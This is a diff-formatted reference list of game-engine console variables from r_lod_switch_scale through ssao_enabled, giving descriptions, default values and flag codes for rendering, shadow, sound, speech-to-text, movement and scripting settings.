+r_lod_switch_scale + + + +default: `"1"` +flags: `0x40000000` +
+
+r_mapextents + +Set the max dimension for the map. This determines the far clipping plane + +default: `"16384"` +flags: `0x4000` +
+
+r_modeldecal_maxtotal + + + +default: `"75"` +flags: `0x2` +
+
+r_nearz + +Near clipping plane distance + +default: `"7"` +flags: `0x2` +
+
+r_no_stalls + + + +default: `"0"` +flags: `0x2` +
+
+r_no_stalls + + + +default: `"0"` +flags: `0x2` +
+
+r_no_stalls + + + +default: `"0"` +flags: `0x2` +
+
+r_norefresh + + + +default: `"0"` +flags: `0x2` +
+
+r_particle_lighting_debug + +Toggle Particle Lighting Debug Texture + +default: `"0"` +flags: `0x2` +
+
+r_particle_lighting_enable + +Toggle Particle Lighting + +default: `"1"` +flags: `0x2` +
+
+r_particle_lighting_enable + +Toggle Particle Lighting + +default: `"1"` +flags: `0x2` +
+
+r_particle_lighting_force + +Force all particles to be lit + +default: `"0"` +flags: `0x2` +
+
+r_particle_lighting_force + +Force all particles to be lit + +default: `"0"` +flags: `0x2` +
+
+r_particle_low_res_debug + +Toggle Low Res Paricle Debug Texture + +default: `"0"` +flags: `0x2` +
+
+r_particle_low_res_draw_weight_tex + + + +default: `"0"` +flags: `0x2` +
+
+r_particle_low_res_enable + + + +default: `"1"` +flags: `0x2` +
+
+r_particle_low_res_force + + + +default: `"0"` +flags: `0x2` +
+
+r_particle_low_res_tiled_composite + + + +default: `"1"` +flags: `0x2` +
+
+r_particle_sim_spike_increment_ms + + + +default: `"0.25"` +flags: `0x2` +
+
+r_particle_sim_spike_threshold_ms + + + +default: `"0"` +flags: `0x2` +
+
+r_particle_timescale + + + +default: `"1.0"` +flags: `0x2` +
+
+r_particles_early_distance_cull + + + +default: `"1"` +flags: `0x2` +
+
+r_pos_debug + + + +default: `""` +flags: `0x2` +
+
+r_render_pos_debug + + + +default: `""` +flags: `0x2` +
+
+r_rimlight + + + +default: `"0"` +flags: `0x2` +
+
+r_rootlod + +Root LOD + +default: `"0"` +flags: `0x4800002` +min value: `0` +max value: `2` +
+
+r_rootlod + +Root LOD + +default: `"0"` +flags: `0x4800002` +
+
+r_ropetranslucent + + + +default: `"1"` +flags: `0x2` +
+
+r_setupBoneWorkSize + +work size for SetupBone_Worker + +default: `"10"` +flags: `0x2` +
+
+r_setupBoneWorkerThreadhold + +minimum ModelListByType_t::m_nSetupBoneCount value to be threaded for SetupBoneForModelList() call + +default: `"1"` +flags: `0x2` +
+
+r_shadowrendertotexture + + + +default: `"0"` +flags: `0x2` +
+
+r_sky_ignoreAngles + +Ignore the angle of the sky (for debugging) + +default: `"0"` +flags: `0x4000` +
+
+r_sort_trans_debug + + + +default: `"0"` +flags: `0x2` +
+
+r_sort_trans_debug_dist + + + +default: `"2000"` +flags: `0x2` +
+
+r_threaded_particles + + + +default: `"1"` +flags: `0x2` +
+
+r_updaterefracttexture + +When disabled, supresses any update of refract texture. + +default: `"1"` +flags: `0x4000` +
+
+r_updaterefracttexture_allowmultiple + +Allows multiple updates of refract texture per frame. + +default: `"0"` +flags: `0x2` +
+
+r_visambient + +Draw leaf ambient lighting samples. Mask of VIS_AMBIENT = 1, VIS_SKY = 2, VIS_SUN = 4, VIS_CLOUDMASK = 8, VIS_LIGHTS_1ST = 16, etc. + +default: `"0"` +flags: `0x2` +
+
+r_visambient_orig + +Show original lighting probes instead of the improved ones the game actually uses + +default: `"0"` +flags: `0x2` +
+
+r_visambient_point + +Draw leaf ambient lighting samples, for a point (like particles). + +default: `"0"` +flags: `0x2` +
+
+r_vismodellighting_lightpos + +Draw a line from the point light to the model lighting origin for this many of the closest lights that have r_vismodellighting enabled. + +default: `"0"` +flags: `0x4000` +
+
+r_vismodellighting_maxdist + + + +default: `"1000.0"` +flags: `0x4000` +
+
+r_vismodellighting_mindist + + + +default: `"48.0"` +flags: `0x4000` +
+
+r_vismodellighting_offset_x + +Offset the model lighting spheres by this amount. + +default: `"0"` +flags: `0x4000` +
+
+r_vismodellighting_offset_y + +Offset the model lighting spheres by this amount. + +default: `"0"` +flags: `0x4000` +
+
+r_vismodellighting_offset_z + +Offset the model lighting spheres by this amount. + +default: `"0"` +flags: `0x4000` +
+
+r_visualizeproplightcaching + + + +default: `"0"` +flags: `0x2` +
+
+r_visualizetraces + + + +default: `"0"` +flags: `0x4000` +
+
+r_visualizetraces_duration + + + +default: `"0.5"` +flags: `0x2` +
+
+r_volumetric_lighting_blur_count + + + +default: `"2"` +flags: `0x2` +
+
+r_volumetric_lighting_blur_type + + + +default: `"1"` +flags: `0x2` +
+
+r_volumetric_lighting_enabled + +Toggle Volumetric Light + +default: `"2"` +flags: `0x2` +
+
+r_volumetric_lighting_numSteps + + + +default: `"10"` +flags: `0x2` +
+
+r_volumetric_lighting_rotate_dither + + + +default: `"0"` +flags: `0x2` +
+
+r_waterforceexpensive + + + +default: `"0"` +flags: `0x2` +
+
+r_waterforcereflectentities + + + +default: `"0"` +flags: `0x2` +
+
+r_zfill + + + +default: `"1"` +flags: `0x2` +
+
+ragdoll_debug + + + +default: `"0"` +flags: `0x2002` +
+
+ragdoll_sleepaftertime + +After this many seconds of being basically stationary, the ragdoll will go to sleep. + +default: `"5"` +flags: `0x2` +
+
+rankedplay_display_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+rankedplay_voice_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+rate + +Max bytes/sec the host can receive data + +default: `"128000"` +flags: `0x2` +
+
+reactive_wakeOnStop + + + +default: `"1"` +flags: `0x2` +
+
+real_time_update_dt + + + +default: `"0.001"` +flags: `0x2` +
+
+recalculateOrigin_threaded_chunksize + + + +default: `"50"` +flags: `0x2` +
+
+reconnect_available_timespan + +Amount of seconds for which reconnect is available since last save. + +default: `"2400"` +flags: `0x2` +
+
+reconnect_check_platform_id + +Check platform id from local file. Useful when testing with multiple local win64 clients. + +default: `"1"` +flags: `0x2` +
+
+reconnect_debug + +Never disconnect a player having lost connection. + +default: `"0"` +flags: `0x2` +
+
+reconnect_delay + +Amount of seconds for which reconnect is waiting before connecting. + +default: `"5"` +flags: `0x2` +
+
+reconnect_enabled + +Whether disconnecting keeps the player around to allow reconnecting + +default: `"1"` +flags: `0x2` +
+
+reconnect_timeout + +Seconds after a disconnected client is completely removed from the server, stopping it from reconnecting + +default: `"300"` +flags: `0x2` +
+
+remoteCalls_requireConnectionScriptsForViewPlayer + + + +default: `"0"` +flags: `0x2` +
+
+remoteMatchInfo_print + + + +default: `"0"` +flags: `0x2` +
+
+replay_enable + +Enable Replay recording on server + +default: `"1"` +flags: `0x402002` +
+
+replay_prediction_smooth + + + +default: `"1"` +flags: `0x2` +
+
+report_cliententitysim + +List all clientside simulations and time - will report and turn itself off. + +default: `"0"` +flags: `0x4000` +
+
+report_clientthinklist + +List all clientside entities thinking and time - will report and turn itself off. + +default: `"0"` +flags: `0x4000` +
+
+roamingcam_cameraspacemotion + + + +default: `"0"` +flags: `0x2` +
+
+roamingcam_downSpeedMult + + + +default: `"0.5"` +flags: `0x2` +
+
+roamingcam_forwardSpeed + + + +default: `"1500"` +flags: `0x2` +
+
+roamingcam_forwardSpeed_fast + + + +default: `"10000"` +flags: `0x2` +
+
+roamingcam_forwardSpeed_slow + + + +default: `"10"` +flags: `0x2` +
+
+roamingcam_movesmoothing + + + +default: `"0"` +flags: `0x2` +
+
+roamingcam_rollSpeed + + + +default: `"40"` +flags: `0x2` +
+
+roamingcam_sideSpeedMult + + + +default: `"1"` +flags: `0x2` +
+
+roamingcam_smoothtime + + + +default: `"0.15"` +flags: `0x2` +
+
+roamingcam_viewsmoothing + + + +default: `"0"` +flags: `0x2` +
+
+rodeo_camera_smooth_blend_out_time + + + +default: `"0.4"` +flags: `0x2` +
+
+rodeo_camera_smooth_enable + + + +default: `"1"` +flags: `0x2` +
+
+rodeoed_anims_enabled + + + +default: `"0"` +flags: `0x2` +
+
+rope_collide + +Collide rope with the world + +default: `"1"` +flags: `0x2` +
+
+rope_debug_shake + +Helps visualize ropes effected by a shake. + +default: `"0"` +flags: `0x2` +
+
+rope_parallelMeshBuilder + + + +default: `"1"` +flags: `0x2` +
+
+rope_regenMeshEachDraw + + + +default: `"0"` +flags: `0x2` +
+
+rope_shake + + + +default: `"0"` +flags: `0x2` +
+
+rope_texels_per_world_unit + + + +default: `"8"` +flags: `0x2` +
+
+rope_wiggle_harmonic_falloff + +Falloff for oscillation magnitude of wave of increasing frequency (ropes and grapple) + +default: `"0.75"` +flags: `0x2` +
+
+rope_wiggle_magnitude_loose + +Fraction of rope (including grapple) distance used as max wiggle distance while the rope is loose (shooting) + +default: `".04"` +flags: `0x2` +
+
+rope_wiggle_magnitude_tight + +Fraction of rope (including grapple) distance used as max wiggle distance while the rope is tight (pulling or retracting) + +default: `".002"` +flags: `0x2` +
+
+rope_wiggle_oscillate_speed + +Speed at which rope (including grapple) wiggle oscillates + +default: `"64"` +flags: `0x2` +
+
+rope_wiggle_rotate_speed + +Speed at which rope (including grapple) wiggle rotates + +default: `"2"` +flags: `0x2` +
+
+rope_wiggle_zipline_min_points + +Increases point count for ziplines that are wiggling + +default: `"80"` +flags: `0x2` +
+
+rope_wind_dist + +Don't use CPU applying small wind gusts to ropes when they're past this distance. + +default: `"1000"` +flags: `0x2` +
+
+rotate_ents + + + +default: `"0"` +flags: `0x2` +
+
+rspn_motd + + + +default: `""` +flags: `0x2` +
+
+rt_sync_message_pump + +If 1 render thread with process message queue before starting main thread processing. If 2 then main thread will wait for the next frames message queue processing before gathering mouse input. If 3 then the main thread will wait for the current frames message queue processing before gathering mouse input...this may have a problem with the queue message pump sometimes starting before gathering mouse input and sometimes after causing hitches, but it has less latency and lower frame times when compared to the other methods. If 0 then gathering mouse input may happen before, during, or after the last frames mouse messages were process causing horrible hitch mouse response. + +default: `"1"` +flags: `0x2` +
+
+rt_worker + + + +default: `"1"` +flags: `0x2` +
+
+ruiPanel_resArgName + + + +default: `"actualRes"` +flags: `0x2` +
+
+rui_asyncTracks + +Toggles async update of RUI tracks + +default: `"0"` +flags: `0x2` +
+
+rui_defaultDebugFontFace + +Default font face for rui text in debug messages + +default: `"ArameMono"` +flags: `0x2` +
+
+rui_defaultFontFace + +Default font face for rui text + +default: `"DefaultRegularFont"` +flags: `0x2` +
+
+rui_defaultFontHeight + +Default font height for rui text + +default: `"28"` +flags: `0x2` +
+
+rui_overrideVguiTextRendering + +Use rui for rendering all vgui text + +default: `"1"` +flags: `0x2` +
+
+rui_padDist + + + +default: `"0.7"` +flags: `0x2` +
+
+rui_safeAreaFrac + +Fraction of safe area to use + +default: `"0.0"` +flags: `0x2` +max value: `1` +
+
+rui_standardTextHeight + + + +default: `"64.0"` +flags: `0x2` +
+
+save_enable + + + +default: `"0"` +flags: `0x2` +
+
+scheme_manager_font_debug + +0:Off, 1:On + +default: `"0"` +flags: `0x2` +
+
+scr_centertime + + + +default: `"2"` +flags: `0x2` +
+
+screen_indicator_back_range + +Number of degrees behind the player that is considered more behind than to the side + +default: `"60.0"` +flags: `0x2` +
+
+screen_indicator_ellipse_height + + + +default: `"0.75"` +flags: `0x2` +
+
+screen_indicator_ellipse_width + + + +default: `"0.85"` +flags: `0x2` +
+
+screen_indicator_pitch_limit + +The maximum pitch difference that will affect the indicator position + +default: `"75.0"` +flags: `0x2` +
+
+screen_indicator_pitch_scale + + + +default: `"2.0"` +flags: `0x2` +
+
+screenfade_debug + + + +default: `"0"` +flags: `0x2` +
+
+scriptNetVar_categoryAsserts + + + +default: `"1"` +flags: `0x2` +
+
+script_compile_all_levels + +Compiles all level scripts when loading a map. + +default: `"0"` +flags: `0x2` +
+
+script_debugger_connect_client_on_mapspawn + + + +default: `"0"` +flags: `0x2` +
+
+script_debugger_connect_ui_auto + +Only takes effect after uiscript_reset. Use command line argument -script_debugger_connect_ui for startup. + +default: `""` +flags: `0x2` +
+
+script_debugger_host + + + +default: `"localhost"` +flags: `0x2002` +
+
+script_debugger_port_client + + + +default: `"15101"` +flags: `0x2` +
+
+script_debugger_port_server + + + +default: `"15100"` +flags: `0x2` +
+
+script_debugger_port_ui + + + +default: `"15102"` +flags: `0x2` +
+
+script_disallow_newslot_on_globals + +Throws compile errors for global variables assigned with <- + +default: `"0"` +flags: `0x2002` +
+
+script_dump_simple + +If enabled then script dump format will skip null array/table entries and display each non-container value on a single line with the fully scoped key name. + +default: `"1"` +flags: `0x2002` +
+
+script_error_on_midgame_load + + + +default: `"1"` +flags: `0x2002` +
+
+script_infinite_loop_ms + +If script runs for more than this many milliseconds at one time then you will get a script error. + + +default: `"10000"` +flags: `0x2002` +
+
+script_parallel_trace_LOS_multiple + + + +default: `"1"` +flags: `0x2002` +
+
+script_precache_errors + + + +default: `"1"` +flags: `0x6000` +
+
+script_printDeferredCalls + + + +default: `"0"` +flags: `0x2002` +
+
+script_retry_after_compile_errors + +After a compile error, tries compiling again immediately. + +default: `"0"` +flags: `0x2` +
+
+script_seasonNameQueryInterval + + + +default: `"30"` +flags: `0x2` +
+
+script_showErrorDialogs + + + +default: `"1"` +flags: `0x2` +
+
+script_slopTimeBeforeBudgetEnforcement + +How long to wait before we start complaining about slow budgets + +default: `"30"` +flags: `0x2` +
+
+script_window_client_precache + + + +default: `"1"` +flags: `0x2` +
+
+scriptremotefunctions_debug + +Enable debug print around remote functions + +default: `"0"` +flags: `0x4002` +
+
+scriptremotefunctions_resetOnlyUi + +Only UI function can be reset + +default: `"1"` +flags: `0x2` +
+
+scriptremotefunctions_saveFuncName + +Save script function name for easier debugging + +default: `"0"` +flags: `0x2` +
+
+seasonquest_force_missionscleared_count + + + +default: `"-1"` +flags: `0x2002` +
+
+seasonquest_force_treasurepacks_count + + + +default: `"-1"` +flags: `0x2002` +
+
+send_script_errors + + + +default: `"1"` +flags: `0x2` +
+
+sequence_transitioner_enable + + + +default: `"1"` +flags: `0x2002` +
+
+serverFilter + +Only connects to servers with the same value + +default: `""` +flags: `0x80000` +
+
+serverReports_hostname + + + +default: `""` +flags: `0x2` +
+
+server_concommands_allways_network + +When set to 1 , server commands with listen server pass down the network layer. + +default: `"1"` +flags: `0x2` +
+
+server_query_interval + + + +default: `"0.5"` +flags: `0x2` +
+
+sfm_record_hz + + + +default: `"30"` +flags: `0x2` +
+
+shadow_always_update + +Set to 1 to make shadow maps regenerate every frame. + +default: `"0"` +flags: `0x4000` +
+
+shadow_bleedfudge + +Fudge value to decrease shadow map light bleeding + +default: `"0.0"` +flags: `0x4000` +
+
+shadow_capable + + + +default: `"1"` +flags: `0x2` +
+
+shadow_clear_dist + + + +default: `"1.0"` +flags: `0x4000` +
+
+shadow_dbg_cone_depthtest + +for shadow_dbg_cones + +default: `"0"` +flags: `0x4000` +
+
+shadow_dbg_cones + +Visualize shadow cones. Color-coded per shadow status. + +default: `"0"` +flags: `0x4000` +
+
+shadow_dbg_draw + +Visualize shadow atlas texture (1 .. 4, larger numbers for smaller sizes)Tweak - Purple, Dirty - Red, Dynamic - Green, Old Dynamic - Blue + +default: `"0"` +flags: `0x4000` +
+
+shadow_default_filter_size + +Size of the blur filter applied to spot shadows that don't request a different size. Odd integer only. + +default: `"3"` +flags: `0x4000` +
+
+shadow_depth_dimen_min + +Minimum resolution of a spot shadow map in width and height + +default: `"256"` +flags: `0x40000000` +
+
+shadow_depth_upres_factor_max + +Maximum requested upres factor of spot shadows (dimen_min << this) == largest spot shadow dimen + +default: `"2"` +flags: `0x40000000` +
+
+shadow_drawfrustum + + + +default: `"0"` +flags: `0x2` +
+
+shadow_dynamic_blendfactor + +Blend dynamic shadows over time. Low value: long history, 1: no history + +default: `"1"` +flags: `0x2` +
+
+shadow_enable + + + +default: `"1"` +flags: `0x40000000` +
+
+shadow_esm_enable + +(EXPERIMENTAL) Use exponential spot shadow maps instead of variance maps + +default: `"0"` +flags: `0x4000` +
+
+shadow_filter_maxstep + +Max step threshold for shadow map blend + +default: `"0.18"` +flags: `0x4000` +
+
+shadow_info + +Information about currently active depth shadows + +default: `"0"` +flags: `0x2` +
+
+shadow_lobby_mode_allowed + +allow special mode for lobby that does some tricks to improve spotlight shadow quality. 0 - disallowed, 1- allowed, 2 - forced + +default: `"1"` +flags: `0x4000` +
+
+shadow_max_downsizing_spot_updates + +Downsizing shadows are exceptions. We want to update more of them than shadow_max_spot_updates + +default: `"24"` +flags: `0x4000` +
+
+shadow_max_dynamic_lobby + +Maximum number of shadows that should update every frame in Lobby. + +default: `"5"` +flags: `0x40000000` +
+
+shadow_max_old_dynamic + +Maximum number of old shadows that should update every frame. It's a part of shadow_maxdynamic + +default: `"1"` +flags: `0x2` +
+
+shadow_max_spot_updates + +Maximum number of dynamic shadow maps to update on any given frame + +default: `"4"` +flags: `0x4000` +
+
+shadow_maxdynamic + +Maximum number of shadows that should update every frame. + +default: `"4"` +flags: `0x40000000` +
+
+shadow_maxdynamic + +Maximum number of shadows that should update every frame. + +default: `"4"` +flags: `0x40000000` +
+
+shadow_min_count_smallest + +Represents the minimum number of min resolution spot shadows to allocate in the shadow atlas.This will be adjusted upward to a multiple of the max sized spot shadow to find legal sized atlas dimensions. + +default: `"576"` +flags: `0x4000` +
+
+shadow_minvariance + +Minimum variance for shadow maps (controls edge softness) + +default: `"0.00001"` +flags: `0x4000` +
+
+shadow_multisampled + +Enable multisampling for shadows. + +default: `"1"` +flags: `0x4000` +
+
+shadow_noLOD + + + +default: `"1"` +flags: `0x2` +
+
+shadow_show_spot_udpate_infos + + + +default: `"0"` +flags: `0x4000` +
+
+shadow_tools_depth_dimen_min + +Minimum tools mode (lightedit) resolution of a spot shadow map in width and height + +default: `"256"` +flags: `0x4000` +
+
+shadow_tools_depth_upres_factor_max + +Maximum requested tools mode upres factor of spot shadows (dimen_min << this) == largest spot shadow dimen + +default: `"3"` +flags: `0x4000` +
+
+shadow_tools_min_count_smallest + +Represents the minimum number of min resolution spot shadows to allocate in the shadow atlas in tools mode.This will be adjusted upward to a multiple of the max sized spot shadow to find legal sized atlas dimensions. + +default: `"4096"` +flags: `0x4000` +
+
+shadow_tools_mode + +Turn on shadow tools mode rendering (higher atlas size limits, running out of shadows does not spam + +default: `"0"` +flags: `0x4000` +
+
+shadow_update_culling + +Don't update shadows that aren't in the view frustum. + +default: `"1"` +flags: `0x4000` +
+
+shake_angleFactor_human + + + +default: `"1.0"` +flags: `0x2` +
+
+shake_angleFactor_titan + + + +default: `"1.0"` +flags: `0x2` +
+
+shake_basicPitchFactor + + + +default: `"0.20"` +flags: `0x2` +
+
+shake_basicRandomRollFactor + + + +default: `"0.15"` +flags: `0x2` +
+
+shake_offsetFactor_human + + + +default: `"1.0"` +flags: `0x2` +
+
+shake_offsetFactor_titan + + + +default: `"1.0"` +flags: `0x2` +
+
+shake_viewmodelFactor_ads_human + + + +default: `"0.01"` +flags: `0x2` +
+
+shake_viewmodelFactor_ads_titan + + + +default: `"0.10"` +flags: `0x2` +
+
+shake_viewmodelFactor_human + + + +default: `"0.10"` +flags: `0x2` +
+
+shake_viewmodelFactor_titan + + + +default: `"0.10"` +flags: `0x2` +
+
+showfps_enabled + + + +default: `"0"` +flags: `0x80000` +
+
+showfps_heightpercent + + + +default: `"0.25"` +flags: `0x2` +
+
+showfps_mouse_latency + +If 1 showfps_enabled will show mouse input latency instead of the time from before the move command. + +default: `"1"` +flags: `0x2` +
+
+showfps_smoothtime + + + +default: `"0.5"` +flags: `0x2` +
+
+showfps_spinner + + + +default: `"0"` +flags: `0x2` +
+
+showmem_enabled + + + +default: `"0"` +flags: `0x80000` +
+
+showmem_mode_bottom + +Mode 0 is total free memory(excluding garlic), 1 is small block heap, 2 is Client Script, 3 is UI Script + +default: `"3"` +flags: `0x80000` +
+
+showmem_mode_top + +Mode 0 is total free memory(excluding garlic), 1 is small block heap, 2 is Client Script, 3 is UI Script + +default: `"0"` +flags: `0x80000` +
+
+showmemnumstats + +Display On-Screen Numerical Memory Information + +default: `"0"` +flags: `0x2` +min value: `0` +
+
+showmemnumstatsrefresh + +Refresh rate of querying the os for memory information in milliseconds. + +default: `"500"` +flags: `0x2` +min value: `0` +
+
+shownet_enabled + + + +default: `"0"` +flags: `0x80000` +
+
+showsnapshot_enabled + + + +default: `"0"` +flags: `0x80000` +
+
+sidearmSwapSelectCooldown + + + +default: `"0.25"` +flags: `0x2` +
+
+sidearmSwapSelectDoubleTapTime + + + +default: `"0.25"` +flags: `0x2` +
+
+single_frame_shutdown_for_reload + + + +default: `"1"` +flags: `0x2` +
+
+singlestep + +Run engine in single step mode ( set next to 1 to advance a frame ) + +default: `"0"` +flags: `0x4000` +
+
+skill_arena + +The arena that skill should be read from / written to (eg. fnf, experimental, etc) + +default: `""` +flags: `0x2` +
+
+skill_dediOnly + +Only do skill for dedicated servers + +default: `"0"` +flags: `0x2` +
+
+skill_enabled + + + +default: `"1"` +flags: `0x2` +
+
+skill_hostname + + + +default: `""` +flags: `0x80000` +
+
+skip_jump_height_fraction + +Jump height fraction when skipping + +default: `"1.0"` +flags: `0x2002` +
+
+skip_jump_height_speed + +Jump height loss only applies above this speed + +default: `"450"` +flags: `0x2002` +
+
+skip_replenish_double_jump + +Whether the player can double jump after skipping + +default: `"1"` +flags: `0x2002` +
+
+skip_sounds + +Enables skip-specific sounds + +default: `"0"` +flags: `0x2002` +
+
+skip_speed_reduce + +Speed lost when skipping + +default: `"100"` +flags: `0x2002` +
+
+skip_speed_retain + +Speed loss doesn't go below this + +default: `"-1"` +flags: `0x2002` +
+
+skip_time + +Time after landing that is considered "skipping" if the player jumps again + +default: `"1.0"` +flags: `0x2002` +
+
+sleep_when_meeting_framerate + +Sleep instead of spinning if we're meeting the desired framerate. + +default: `"1"` +flags: `0x2` +
+
+sleep_when_meeting_framerate_headroom_ms + +Only sleep if the current frame has at least this much time remaining, otherwise spin. + +default: `"2.25"` +flags: `0x2` +
+
+slide_auto_stand + +Automatically stand when slide ends + +default: `"0"` +flags: `0x2002` +
+
+slide_max_angle_dot + +Cosine of max angle from forward that you can slide when sprinting + +default: `"0.6"` +flags: `0x2002` +
+
+slide_step_velocity_reduction + +Velocity reduction when going up a step (is multiplied by step height) + +default: `"10"` +flags: `0x2002` +
+
+slide_viewTiltDecreaseSpeed + +Speed at which view tilt decreases while sliding in degrees per second + +default: `"2.5"` +flags: `0x2` +
+
+slide_viewTiltIncreaseSpeed + +Speed at which view tilt increases while sliding in degrees per second + +default: `"5"` +flags: `0x2` +
+
+slide_viewTiltPlayerSpeed + +Speed at which view tilt is full while sliding + +default: `"400"` +flags: `0x2` +
+
+slide_viewTiltSide + +View tilt when looking to the side while sliding in degrees + +default: `"15"` +flags: `0x2` +
+
+slide_whileInAir + +Allows beginning a slide (including the boost) while still in the air + +default: `"0"` +flags: `0x2002` +
+
+slowconsolelog_old_logic + +Flush console.log after each write. + +default: `"0"` +flags: `0x2` +
+
+smoothstairs_lunge + + + +default: `"0"` +flags: `0x2002` +
+
+sort_opaque_meshes + +Sort opaque meshes front to back to try to improve rendering speed. This may not be worth the CPU cost. + +default: `"0"` +flags: `0x2` +
+
+sound_classic_music + +classic music volume + +default: `"0"` +flags: `0x1000000` +
+
+sound_entity_seek_snap + +Play C_ImporantOnEntSound entity sound from beginning if we get it within this many seconds of its begin time. + +default: `"1.0"` +flags: `0x2` +
+
+sound_musicReduced + + + +default: `"0"` +flags: `0x1000000` +
+
+sound_num_speakers + +2 - headphones or stereo, 6 - 5.1 surround, 8 - 7.1 surround. All other values invalid + +default: `"2"` +flags: `0x80` +
+
+sound_only_warn_on_missing_sound_events_in_client_script + + + +default: `"1"` +flags: `0x2` +
+
+sound_printloaderrors + +Set to 1 to print sound errors on load. + +default: `"1"` +flags: `0x2` +
+
+sound_volume + +master game volume + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_dialogue + +dialogue volume (mp) + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_dialogue_sp + +dialogue volume (sp) + +default: `"1"` +flags: `0x2` +
+
+sound_volume_music_game + +music volume in game (mp) + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_music_game_sp + +music volume in game (sp) + +default: `"1"` +flags: `0x2` +
+
+sound_volume_music_lobby + +music volume in lobby + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_sfx + +sound effect volume (mp) + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_sfx_sp + +sound effect volume (sp) + +default: `"1"` +flags: `0x2` +
+
+sound_volume_voice + +voice chat volume + +default: `"1"` +flags: `0x80` +
+
+sound_without_focus + +Play sounds even when the app doesn't have focus. + +default: `"0"` +flags: `0x1000000` +
+
+soundscape_fadetime + +Time to crossfade sounds between soundscapes + +default: `"2.0"` +flags: `0x4000` +
+
+soundscape_message + + + +default: `"0"` +flags: `0x2` +
+
+soundscape_radius_debug + +Prints current volume of radius sounds + +default: `"0"` +flags: `0x4000` +
+
+soundtrigger_repeat_interval + +Decides how long to wait before repeating a soundtrigger event on the given player. Set to 0 to wait until the current sound ends. + +default: `"0"` +flags: `0x2` +
+
+sp_not_focus_pause + +Pause the singleplayer game when the window is not in focus + +default: `"1"` +flags: `0x2` +
+
+spam_skinning_matrices_used + + + +default: `"0"` +flags: `0x2` +
+
+spam_skinning_matrices_used_detailed + + + +default: `"0"` +flags: `0x2` +
+
+spatial_partition_deadlock_assert + + + +default: `"1"` +flags: `0x2002` +
+
+spectator_command_interval + +Specify the minimum time between spectator command. + +default: `"0"` +flags: `0x2` +
+
+speech_queue_bytes + + + +default: `"33000"` +flags: `0x2` +
+
+speechtotext_audioenabled + + + +default: `"0"` +flags: `0x2` +
+
+speechtotext_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+speechtotext_forcedisabled + + + +default: `"0"` +flags: `0x2` +
+
+speechtotext_hostname + + + +default: `"gateway-wdc.watsonplatform.net"` +flags: `0x2` +
+
+speechtotext_msg_droptimeout + + + +default: `"30.0"` +flags: `0x2` +
+
+speechtotext_path + + + +default: `"speech-to-text/api/v1/recognize?profanity_filter=true&smart_formatting=true"` +flags: `0x2` +
+
+speechtotext_quiettime + + + +default: `"1.0"` +flags: `0x2` +
+
+speechtotext_stats_errorspermin + + + +default: `"5"` +flags: `0x2` +
+
+speechtotext_stats_interval + + + +default: `"60.0"` +flags: `0x2` +
+
+speechtotext_stats_senderrors + + + +default: `"1"` +flags: `0x2` +
+
+speechtotext_stats_sendrequests + + + +default: `"1"` +flags: `0x2` +
+
+speechtotext_stats_sendsuccess + + + +default: `"1"` +flags: `0x2` +
+
+speechtotexttoken_hostname + + + +default: `""` +flags: `0x80000` +
+
+speex_audio_recording + + + +default: `"0"` +flags: `0x2` +
+
+speex_audio_value + + + +default: `"0"` +flags: `0x2` +
+
+speex_preprocess_agc_max_gain + +Set maximal gain in dB. ( High values Risks swamping noise filter) + +default: `"13"` +flags: `0x2` +
+
+speex_preprocess_noise_suppress + +Set maximum attenuation of the noise in dB (negative number) + +default: `"-20"` +flags: `0x2` +
+
+speex_preprocess_set_agc_decrenment + +Set maximal gain decrease in dB/second. + +default: `"-10"` +flags: `0x2` +
+
+speex_preprocess_set_agc_increment + +Set maximal gain increase in dB/second. + +default: `"1"` +flags: `0x2` +
+
+speex_preprocess_set_agc_target + +Set Automatic Gain Control target. 0/32767 + +default: `"8000"` +flags: `0x2` +
+
+speex_quiet_threshold + + + +default: `"1300"` +flags: `0x80` +
+
+speex_quiet_window + + + +default: `"40"` +flags: `0x2` +
+
+speex_set_enh + +Set enhancement on/off (decoder only) + +default: `"1"` +flags: `0x2` +
+
+speex_use_highpass + +Controlls the running o a lowpass filter do help remove DC. + +default: `"1"` +flags: `0x2` +
+
+speex_use_preproser + +Controls the running of voice preprocessor. + +default: `"1"` +flags: `0x2` +
+
+spinner_debug_info + + + +default: `"0"` +flags: `0x2` +
+
+sprint_powerdrain + + + +default: `"0"` +flags: `0x2002` +
+
+sprint_view_shake_style + + + +default: `"0"` +flags: `0x41000000` +
+
+sprinttilt_accel + +Acceleration of sprint view tilt fraction + +default: `"35"` +flags: `0x2002` +
+
+sprinttilt_maxvel + +Maximum speed of sprint view tilt + +default: `"2"` +flags: `0x2002` +
+
+sprinttilt_turnrange + +Max turn rate that creates view tilt when sprinting + +default: `"120"` +flags: `0x2002` +
+
+ss_enable + +Enables Split Screen support. Play Single Player now launches into split screen mode. NO ONLINE SUPPORT + +default: `"0"` +flags: `0x2` +
+
+ss_force_primary_fullscreen + +If enabled, all splitscreen users will only see the first user's screen full screen + +default: `"0"` +flags: `0x2` +
+
+ss_mimic + +Split screen users mimic base player's CUserCmds + +default: `"0"` +flags: `0x4002` +
+
+ss_splitmode + +Two player split screen mode (0 - recommended settings base on the width, 1 - horizontal, 2 - vertical (only allowed in widescreen) + +default: `"0"` +flags: `0x2` +
+
+ss_verticalsplit + +Two player split screen uses vertical split (do not set this directly, use ss_splitmode instead). + +default: `"0"` +flags: `0x2` +
+
+ss_viewmodelfov + +Client-side viewmodel fov control that is global for all splitscreen players on this machine. This gets overridden via splitscreen_config.txt for splitscreen. + +default: `"54"` +flags: `0x2002` +
+
+ss_voice_hearpartner + +Route voice between splitscreen players on same system. + +default: `"0"` +flags: `0x2` +
+
+ssao_allow_partial + +When it's enabled, Partial SSAO could run when dynamic viewport is smaller than SSAO targets. +It doesn't look good and has a problem of some flickering. Try it with viewportscale_rand to see the problem. + +default: `"0"` +flags: `0x2` +
+
+ssao_blur + + + +default: `"1"` +flags: `0x2` +
+
+ssao_blur_edge_sharpness + + + +default: `"0"` +flags: `0x2` +
+
+ssao_depth_max + + + +default: `"10000"` +flags: `0x2` +
+
+ssao_downsample + +0 = 1:1, 1 = 2:1, 2 = 4:1 + +default: `"0"` +flags: `0x40000000` +
+
+ssao_enabled + + + +default: `"1"` +flags: `0x40000000` +
+
